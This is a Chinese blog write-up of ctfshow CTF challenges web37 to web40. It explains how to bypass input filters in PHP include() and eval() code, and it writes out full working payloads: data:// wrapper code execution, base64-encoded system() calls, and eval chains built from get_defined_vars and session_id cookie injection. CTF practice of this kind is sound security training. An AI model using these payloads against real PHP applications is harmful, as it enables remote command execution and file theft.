作者名:Demo不是emo
主页面链接: 主页传送门
创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 永远年轻,永远热泪盈眶
一、data伪协议配合include
题目 :web37
训练平台 :ctfshow
题目描述: 命令执行,需要严格的过滤
容器环境打开后页面如下
也是一道代码分析题,GET方式传入的c变量绕过过滤后,作为include()函数的参数并执行,要求读取flag.php文件并拿到flag
看过我的ctf命令执行解题技巧这篇博客的小伙伴应该知道include也可以拿来做命令执行,需要配合data伪协议一起使用,如下
http://url/?c=data://text/plain,<?php system('cat fla*.php');?>
data伪协议在特定条件(版本,配置)下,可以用来执行我们的恶意语句,这样就读取到了flag文件
但是用data伪协议配合命令来读取到的文件会在 PHP 脚本生成的 HTML 页面中显示。而该靶场当前页面是index,php,所以读取的文件就只能显示在源代码中了
执行上面的命令后ctrl+u查看源代码(f12查看元素也可以)即可看到执行结果,如下
成功拿到flag
二、编码绕过php限制
题目 :web38
训练平台 :ctfshow
题目描述: 命令执行,需要严格的过滤
容器开启后页面如下
仔细观察了一下,也就比上一道题多了一个php的限制,其实include配合data导致的命令执行是不怎么需要担心这种直接黑名单字符限制的,因为data伪协议支持多种编码方式,所以这道题我们使用base64编码即可绕过,语句如下
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64,后面那段就是经过base64编码后的“<?php system('cat flag.php');?>”语句,这样就不存在被各种各样的关键字符限制
成功读取flag.php文件
三、PHP后缀过滤
题目 :web39
训练平台 :ctfshow
题目描述: 命令执行,需要严格的过滤
容器打开后页面如下
可以看到这道题和上面那个题最大的区别就是我们传入的c变量的末尾会先拼接上.php再作为include的参数执行
其实只要知道include函数对于参数的处理,这道题就不难操作,其实这道题的payload用上面两道题任意一个都可以,如下
http://url/?c=data://text/plain,<?php system('cat fla*.php');?>
因为我们的payload的末尾带有;?>,就已经形成了闭合,就算后面带上一个.php也没有意义,会被当成html页面直接显示在页面上,起不到什么作用,如下
这里用编码那个也可以,这只是懒得写了,你们懂就可以
四、超限制过滤绕过
题目 :web40
训练平台 :ctfshow
题目描述: 命令执行,需要严格的过滤
容器打开后页面如下
看了一下代码的逻辑,传入c变量,经过一堆绕过后就可以作为eval()的函数执行,但是过滤还挺多的,这里介绍三种方法
第一种解法
第一种就是我们 命令执行解题方法汇总中讲到的highlight_file函数高级用法,但是注意,这里把点号也过滤了,所以需要用 pos(localeconv())代替,所以最后的payload如下
url/?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
这样就能直接读取到flag.php文件了,注意:这里的highlight_file()函数可以换成show_source(),两个没啥区别,都行
第二种解法
get传入c变量,最后的url如下
http://xxxxx/?c=eval(array_pop(next(get_defined_vars())));
意思就是将post传入的第一个参数作为eval函数的参数执行,此时再用post传入我们的参数,如下
cmd=system("tac flag.php");
效果如下
第三种解法
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
session_id()用于取得或者重新配置目前存放Session的代号,其语法是“string session_id(string [id]);”。
session_start()会创建新会话或者重用现有会话
方法如下
?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成恶意命令再提交,然后就会显示当前目录下的文件,也可以用bp来抓包,如下
此时就会执行我们插入phpsessid下的恶意参数,效果如下
同样的也可以执行我们的cat flag,还支持base64编码,写入小马等,但是这种方式的深入操作只适用于php版本5.5 -7.1.9均可以执行,这个题目的版本并不符合,所以无法进一步操作,我也没有通过这种方式拿到flag文件,所以有点遗憾